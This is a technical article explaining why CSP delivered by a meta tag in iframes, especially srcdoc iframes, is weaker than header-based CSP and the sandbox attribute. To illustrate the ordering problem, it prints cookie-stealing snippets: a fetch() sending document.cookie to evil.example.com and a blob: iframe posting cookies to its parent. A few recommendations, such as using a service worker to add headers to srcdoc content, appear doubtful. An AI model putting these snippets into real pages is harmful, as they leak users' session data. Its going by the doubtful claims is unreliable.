Simon Willison recently published a test page probing a deceptively simple question: if you drop a <meta http-equiv="Content-Security-Policy"> tag inside an iframe’s document, can JavaScript in that iframe escape it? The answer has meaningful implications for anyone using iframes to sandbox untrusted HTML, which is a pattern that comes up everywhere from code playgrounds to mail clients to bot-driven dashboards.
The short answer is: it depends on where in the document that meta tag appears. The longer answer requires understanding how meta-tag CSP actually works, which is quite different from what most developers assume.
The Delivery Mechanism Changes Everything
CSP can be delivered two ways: via an HTTP response header or via a <meta> element with http-equiv="Content-Security-Policy". Most documentation treats these as equivalent delivery mechanisms, but they have a critical timing difference.
When the browser receives a response with a Content-Security-Policy header, the policy is established before the HTML parser processes a single byte of the document body. Every resource, every script, every inline handler is evaluated against that policy from the start.
A meta tag, by contrast, is parsed inline during HTML document processing. The policy only takes effect at the point in the document where the parser encounters the element. Everything parsed before it is evaluated without that policy in place.
This means the following is not protected:
<!DOCTYPE html>
<html>
<head>
<script>
// This executes BEFORE the CSP below is applied
fetch('https://evil.example.com/exfiltrate?data=' + document.cookie);
</script>
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'none'">
</head>
<body>...</body>
</html>
The CSP specification is explicit about this: a policy delivered via <meta> “does not apply to content which has already been processed.” The spec authors were aware of the limitation and document it plainly. This is not a browser bug; it is intentional.
What Meta Tags Cannot Do At All
Beyond timing, the spec also enumerates directives that are simply invalid in meta-tag CSP and are silently ignored by browsers:
frame-ancestors: you cannot restrict who can embed your document via a meta tagreport-uri/report-to: reporting endpoints are not honored from meta tags in most contextssandbox: you cannot apply sandbox flags to your own document via meta CSP
This matters because frame-ancestors is the CSP directive most relevant to iframe security. If you want to prevent clickjacking or control which parent contexts can embed your page, the meta tag gives you nothing. You need HTTP headers.
How Iframes Inherit CSP
A normal iframe loaded via src gets its CSP from the HTTP response headers of the document at that URL. The parent page’s CSP does not flow into the child document. The parent can use frame-src to restrict which URLs can be loaded as frames, but once the child document loads, it governs itself.
srcdoc iframes are different. The HTML specification treats srcdoc content as part of the parent document’s context. Specifically, a srcdoc iframe inherits the CSP of its embedding document. The content string is parsed as if it were a nested resource of the parent, so the parent’s active policies apply to it.
This means if your parent page has a header-based CSP with script-src 'none', a srcdoc iframe cannot run scripts even if it tries to, even if that srcdoc content contains a meta tag attempting to grant script permissions. Policies are cumulative and enforced at the strictest level; a child cannot loosen a parent’s policy via meta tag.
However, a srcdoc iframe can ADD restrictions via meta tag, and this is where Willison’s test gets interesting. Can the iframe’s own meta CSP be escaped by JavaScript in that same document?
The Ordering Escape
Consider a pattern where a page dynamically generates a sandboxed preview:
const csp = "default-src 'none'; script-src 'none'";
const userHTML = getUserProvidedHTML();
const sandboxed = `
<meta http-equiv="Content-Security-Policy" content="${csp}">
${userHTML}
`;
iframe.srcdoc = sandboxed;
If userHTML contains a <script> tag, that script appears after the meta CSP tag in the final document. The CSP is established before the parser reaches the script, so the script is blocked. This works.
But if the user-provided HTML can influence content that appears before the meta tag, through earlier injection points or through attributes that cause resource loading before the meta element is parsed, the protection breaks down. The meta tag position must come before any and all untrusted content, with no exceptions.
There is also the document.open() escape. A script running before the meta CSP tag (due to ordering) can call document.open(), which tears down the current document and begins a new one. HTTP-header-delivered CSP survives this; meta-tag CSP does not, because the new document has no meta tags until you write them. This is a documented behavior difference.
The blob: and data: URL Edge Cases
JavaScript inside an iframe can attempt to create child iframes of its own, pointing to blob: URLs or data: URLs:
// Inside the sandboxed iframe, try to create a new uncontrolled context
const blob = new Blob(
['<script>parent.postMessage(document.cookie, "*")<\/script>'],
{ type: 'text/html' }
);
const url = URL.createObjectURL(blob);
const inner = document.createElement('iframe');
inner.src = url;
document.body.appendChild(inner);
Whether this succeeds depends on the frame-src or child-src directive in the active CSP. If the sandbox CSP was delivered via HTTP header and includes frame-src 'none', this is blocked. If it was delivered only via meta tag, the protection depends on whether the script ran before the meta tag was parsed.
For data: URIs used as iframe sources, browsers now generally treat them as a unique opaque origin, and the data: scheme must be explicitly allowed in frame-src. Most restrictive CSP policies will block this by default.
Practical Implications for Sandboxing
If you are building anything that runs untrusted HTML, whether it’s a playground, a preview tool, or a bot-triggered report renderer, the hierarchy of protections matters:
Strongest: HTTP response headers with Content-Security-Policy on the iframe’s own document, combined with the sandbox attribute on the <iframe> element itself. The sandbox attribute is enforced by the embedding page independent of anything the iframe content does.
Adequate for most cases: srcdoc iframe with the embedding page delivering a strict header CSP, ensuring the srcdoc content inherits those restrictions. Add sandbox on the iframe element for an additional layer.
Unreliable: A meta tag CSP placed at the top of a srcdoc document, used as the primary defense against injected scripts. The ordering dependency makes it fragile and easy to subvert if any part of the untrusted content can influence what appears before the meta tag.
The sandbox attribute on the iframe element deserves more attention than it usually gets. It operates entirely outside the CSP system and is enforced by the browser’s frame loading code, not the content parser. Attributes like sandbox="allow-scripts allow-same-origin" or just sandbox with no value (which blocks everything) give you a separate enforcement layer that no content inside the iframe can remove or modify.
Why This Keeps Coming Up
The reason Willison, and others who build content-heavy tools, keep probing these edge cases is that meta-tag CSP is genuinely appealing for dynamically generated content. When you’re building a srcdoc iframe on the fly in JavaScript, you cannot retroactively set HTTP headers on it. The meta tag feels like the obvious solution.
But the spec was never designed to make meta-tag CSP equivalent to header CSP. The original rationale for allowing meta-tag CSP was to give static HTML files a way to declare policies when they couldn’t control their server headers, not to make dynamic sandboxing simpler.
For dynamic sandboxes, the right tools are the iframe sandbox attribute combined with server-delivered CSP headers on whatever origin serves the iframe content, or a service worker intercept that can inject headers into srcdoc responses. The meta tag is a convenience for simpler cases, and treating it as a security boundary leads to exactly the kind of edge case that Willison’s test surfaces.
The underlying principle holds: security policies enforced before content parsing are structurally stronger than policies that must be parsed from within the content itself. Anything that relies on ordering or position within a document gives an attacker a surface to target.